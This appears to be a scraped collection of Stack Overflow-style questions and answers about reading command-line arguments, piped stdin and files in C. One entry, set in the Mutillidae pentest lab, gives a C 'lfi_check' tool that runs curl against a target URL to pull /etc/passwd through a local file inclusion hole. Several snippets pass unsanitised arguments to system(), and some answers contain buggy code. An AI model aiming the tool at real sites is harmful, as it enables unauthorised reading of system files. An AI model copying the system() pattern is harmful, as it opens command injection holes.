How can I access piped parameter in c code?
test.c
int main( int argc, char *argv[] ) {
int i = 0;
for (i = 0; i < argc; i++) {
printf("argv[%d] = %s\n", i, argv[i]);
}
}
Bash:
cat file.txt | ./test
It prints just first argument argv[0] = ./test. How can I access content of file.txt inside c code (as parameter)?
With the pipe, your program gets the content of file.txt in its stdin. So, read from stdin. For example you can use fgets() to read line by line:
#include <stdio.h>
int main(int argc, char *argv[]) {
int i = 0;
char line[1024];
while(fgets(line, sizeof line, stdin)) {
printf("%s", line);
}
}
Related
So I have this code:
#include <stdio.h>
int main(int argc, char **argv) {
//Reassign input arguments into local values
// Check if inputs are valid
// translate the input string
//assign the list into a nested string
//search for translated string in the list
//save all found cases
//print all found cases
int i = 0;
for (i = 0; i < argc; i++) {
printf("argv[%d] = %s\n", i, argv[i]);
}
printf("%d",argc);
return 0;
}
Which after typing:
outDebug.exe hello <seznam.txt into the command prompt...
it gives me these returns:
argv[0] = outDebug.exe
argv[1] = hello
2
Where did the file go to if it's not in argv?
As mentioned in the comments, you can get it from stdin. With fgets for example:
#include <stdio.h>
int main(int argc, char **argv)
{
int i = 0;
for (i = 0; i < argc; i++)
{
printf("argv[%d] = %s\n", i, argv[i]);
}
printf("%d\n",argc);
char buffer[256];
while(fgets(buffer, 256, stdin)) puts(buffer);
return 0;
}
This is a pentesting laboratory environment called "Mutillidae".
This program grabs argv[1] and places into command "curl <[argv[1]>",
then it grabs a line from lfi_test file and places it into second
%s in sprintf(). This program executes %100, I am just having issues with the format( | grep root). Instead, the entire source code is revealed including the entire /etc/passwd file.
If I uncomment line #20:
int passwd = "/etc/passwd";
and change line #27 to
sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);
I am able to get the formatted result I want.
If anyone can help me out, thank you in advance.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[200];
int i;
FILE *fp;
char line[200];
char *root = "| grep root"
// char *passwd = "/etc/passwd";
fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 1; i++)
{
fgets(line,sizeof(line), fp);
sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
// printf("%s", line);
system(url);
}
}
}
The reason line-1 wasn't working in..
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line-1, root);
was due to line(/etc/passwd\n) from file was being cut by 1 and
it didn't allow char *root variable to be implemented into string format.
The function strtok() breaks line into a series of tokens using a delimiter. I was then able to parse "/etc/passwd\n" to "/etc/passwd" BEFORE sprintf().
Thanks DUman & immibis
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[4096];
int i;
FILE *fp;
char line[200];
char *root = " | grep root";
fp = fopen("/root/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 2; i++)
{
fgets(line,sizeof(line), fp);
strtok(line, "\n");
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line,root);
system(url);
}
}
}
I have to write a C program that uses arguments like this :
App.exe -in file.txt
I know something about argv and char *argc but..how do I use the argument with fopen?That i don't know!
[Note that this doesn't answer the question, but it do show how to use arguments]
Learn about the arguments first, and how they are handled. Then you know how to use the arguments and pass a filename on to the fopen (or any other) function.
Try this little program first:
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("argc = %d\n", argc);
for (size_t a = 0; i < argc; ++a)
{
printf("argv[%zu] = \"%s\"\n", a, argc[a]);
}
}
If you execute this program like
args.exe -in file.txt
the output should be
argc = 3
argv[0] = "args.exe"
argv[1] = "-in"
argv[2] = "file.txt"
You need to parse argv to check if it's contains what you want.
int main(int argc, char** argv)
{
if (argc < 3)
{
printf("bad usage");
}
if (strcmp(argv[1], "-in") == 0)
{
char* filename = argv[2];
FILE* f = fopen(filename);
}
}
I'm working on a C program that get the command line arguments and append to them a file extension.
The execution will be something like this:
>myprogram file1 file2
and will execute another program that will use as argument file1.txt and file2.txt.
I tried doing that would add the extension and run one command (s1 is the path and s2 is argv[i] on a loop:
int getfile(char *s1, char *s2){
char *str2 = malloc(sizeof(s2)+3);
strcpy(str2,s2);
strcat(str2,".txt");
execl(s1,"program",str2,NULL);
exit(0);
}
The function will run the program for one file (>program file1.txt and >program file2.txt), but I will need to find a way to run it this way (>program file1.txt file2.txt).
I tried to modify argv directly, but I was unsuccessful.
Any advise?
Try this code:
int main(int argc, char *argv[])
{
char *buffer;
char command[512];
int i = 1;
for(i = 1; i < argc; i++){
buffer = malloc(strlen(argv[i]) + 5);
strcpy(buffer,argv[i]);
strcat(buffer,".txt");
sprintf(command,"touch %s\0",buffer);
system(command);
free(buffer);
}
return 0;
}
A simple program that has no error checking, and I like to explicitly add the string terminator.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, int *argv[]){
if(argc==1){
printf("You have not entered anything!\n");
return 0;
}
char *arr=malloc(1000*sizeof(char));
int i;
strcat(arr, argv[0]);
strcat(arr, " ");
for(i=0;i<argc-1;i++){
strcat(arr,argv[i+1]);
strcat(arr,".txt");
strcat(arr," ");
strcat(arr,"\0");
}
printf("%s\n",arr);
free(arr);
return 0;
}
When trying to read a plain text file with fgets in C, i get some strange looking output on the first line. So if the first line is meant to be "hello" it comes out as something like "ELFh` �� 20120918 (prerelease)#xxhello". Here is the code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
FILE *fr;
int i;
extern int uniq(char *previous_word, char *current_word);
char *line1 = malloc(500);
char *line2 = malloc(500);
char *temp;
for(i = 0; i<argc; i++)
{
fr = fopen (argv[i], "r");
while(fgets(line2, 499, fr) != NULL)
{
uniq(line1, line2);
temp = line1;
line1 = line2;
line2 = temp;
}
fclose(fr);
}
return 0;
}
int uniq(char *previous_word, char *current_word) {
if(!(current_word))
return 1;
if(strcmp(previous_word, current_word))
printf("%s", current_word);
return 0;
}
I've searched every description i can give of this problem on google and stack overflow and i can find nothing at all that fixes it.
Your loop must begin at index 1. argv[0] is your executable.
To check argv[0] is helpful if you have a so called multi binary executable. There you can handle different commands with just one binary. This is very helpful on embedded systems where you need to save memory.